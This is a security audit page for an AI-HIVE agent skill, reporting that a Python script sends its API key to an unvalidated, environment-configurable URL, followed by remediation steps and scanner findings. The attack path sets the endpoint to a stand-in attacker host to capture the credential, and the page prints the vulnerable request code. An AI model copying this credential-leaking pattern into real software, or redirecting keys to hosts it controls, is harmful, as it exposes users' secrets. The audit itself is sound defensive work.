Back to skill

Security audit

AI大模型专家|Codex 桌面智能体全能工作台|AI-HIVE

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly a disclosed AI-HIVE planning helper, but it handles an API key with an under-disclosed configurable endpoint that could send the key to an unintended server.

Review before installing. Use it only when you intend to work with AI-HIVE, keep AI_HIVE_API_KEY scoped and revocable, and do not set AI_HIVE_BASE_URL unless you fully trust the destination. Confirm any paid, batch, publishing, deletion, or account-permission action before execution.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/ai_hive_hotspot.py:25
Finding

API Key Disclosure Through an Unvalidated Configurable API Endpoint

Content
View full analysis

Vulnerability Details

File Location: scripts/ai_hive_hotspot.py, lines 25–29
Vulnerability Type: Credential disclosure through an unvalidated destination URL
Risk Level: Medium

Vulnerable Code

python
base = os.environ.get("AI_HIVE_BASE_URL", DEFAULT_BASE).rstrip("/")
url = f"{base}/openapi/v1/models"
if args.type:
    url += "?" + urllib.parse.urlencode({"modelType": args.type})
req = urllib.request.Request(url, headers={"Authorization": f"Bearer {key}", "Accept": "application/json"})

Technical Analysis

The models command obtains the sensitive AI_HIVE_API_KEY credential from the process environment. It also permits the service endpoint to be replaced through the AI_HIVE_BASE_URL environment variable.

The replacement URL is not validated before the request is created. In particular, the implementation does not:

  • Require HTTPS.
  • Restrict the hostname to a trusted AI-HIVE domain.
  • reject URLs containing user-information or unusual ports.
  • Validate redirect destinations before transmitting or retransmitting credentials.

The script unconditionally attaches the API key as an Authorization: Bearer header to the resulting request. Consequently, an attacker who can influence AI_HIVE_BASE_URL can direct the credential-bearing request to an attacker-controlled web server. An HTTP endpoint could additionally expose the credential to network observers.

This is not remote payload execution: the response is parsed as JSON and displayed rather than executed. The confirmed security issue is the potential disclosure of an API credential.

Attack Path

  1. A user or automation environment has a valid AI_HIVE_API_KEY.
  2. An attacker influences the command's environment, launcher configuration, CI variables, shell profile, or wrapper and sets:
    bash
    AI_HIVE_BASE_URL="https://attacker.example"
    
  3. The user invokes:
    bash
    python3 scripts/ai_hive_ho
    

...[truncated 892 chars]

Remediation
View remediation

Remediation Suggestions

  1. Remove the AI_HIVE_BASE_URL override if custom endpoints are not a required feature.
  2. If endpoint configuration is required, parse the URL with urllib.parse.urlsplit and enforce:
    • Scheme exactly equal to https.
    • A hostname from an explicit allowlist, such as ai-hive.iclip.cn.
    • An expected port, or no explicitly specified port.
    • No embedded username or password.
    • An expected path prefix.
  3. Reject malformed URLs and non-HTTPS schemes before constructing the request.
  4. Disable automatic redirects for authenticated requests, or validate every redirect destination against the same scheme and hostname allowlist before forwarding the Authorization header.
  5. Avoid sending credentials to hosts selected solely through inherited environment variables. Use trusted configuration with restricted permissions where endpoint customization is necessary.
  6. Scope API keys to the minimum required permissions and apply usage limits, expiration, rotation, and anomaly monitoring.
  7. Add tests proving that HTTP URLs, unapproved domains, unusual ports, embedded credentials, and cross-origin redirects are rejected.
  8. Revoke and rotate any API key suspected of having been used while AI_HIVE_BASE_URL pointed to an untrusted destination.
Vulnerability Patterns
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (8)

Tainted flow: 'req' from os.environ.get (line 28, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/ai_hive_hotspot.py (reported line 30)May include surrounding context.

python
url += "?" + urllib.parse.urlencode({"modelType": args.type})
    req = urllib.request.Request(url, headers={"Authorization": f"Bearer {key}", "Accept": "application/json"})
    try:
        with urllib.request.urlopen(req, timeout=30) as resp:
            data = json.load(resp)
    except Exception as exc:
        raise SystemExit(f"模型查询失败:{exc}") from exc

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding

声明描述的是一个较完整的 AI-HIVE 桌面任务编排助手,包含运行时模型/价格查询、路由决策、任务记录与交付物管理。实际代码范围明显更窄:只有 models/plan/validate 三个命令,且 models 只访问 /openapi/v1/models 获取模型信息;plan 只是把用户参数写成本地 JSON 模板;validate 只检查必填字段和 routing 枚举。代码没有任何桌面代理、文件/网页采集、任务执行、价格快照查询、真实路由执行、任务 ID 持久化或结果保存逻辑。虽然声明中关于权限克制与 AI-HIVE 模型查询的方向部分相关,但整体功能描述显著高于代码实际行为,属于实质性描述不符。

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
86% confidence
Finding

The skill includes executable guidance that uses environment variables, local files, and network access, but it does not declare any explicit tool scope or permission boundaries. In an agent environment, this can cause overbroad capability exposure, making it easier for the skill to read/write local data or call external services without a clear least-privilege contract.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The trigger scope is overly broad, using generic terms like AIGC, API, Agent, workflow, automation, and model selection that can match many unrelated user requests. Overbroad activation can cause the skill to engage outside its intended context and steer users toward networked/model-selection workflows that may prompt unnecessary data sharing or external actions.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
84% confidence
Finding

The 'when to use' section contains loose conditions such as users wanting to compare models, build workflows, or make experiments reusable, without strong guardrails on domain, data sensitivity, or execution boundaries. In practice, this ambiguity can expand the skill into contexts involving local files, code, webpages, or third-party services where mistaken activation increases the chance of unsafe guidance or unintended access requests.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The user-facing display name, short description, and default prompt are all written in Chinese, with no indication that users may select another language or locale. This can violate language-choice policy when a skill imposes a specific language without explicit user opt-in or documented regional justification.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill enables implicit invocation with no visible trigger constraints, exclusions, or narrowing conditions. Because this skill is positioned to orchestrate desktop-agent tasks, model routing, task execution, and record saving, broad automatic activation increases the chance it will be invoked in contexts the user did not clearly intend, leading to unintended actions, over-collection of context, or confusing delegation to external services.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The module docstring is entirely in Chinese and presents the skill as a general workflow assistant, while command help and user-facing error/output strings throughout the file are also Chinese-only. This imposes a specific language on users without opt-in or an explicit region-specific justification, which matches the language/locale policy violation criteria.

Content

No source excerpt is available for this finding.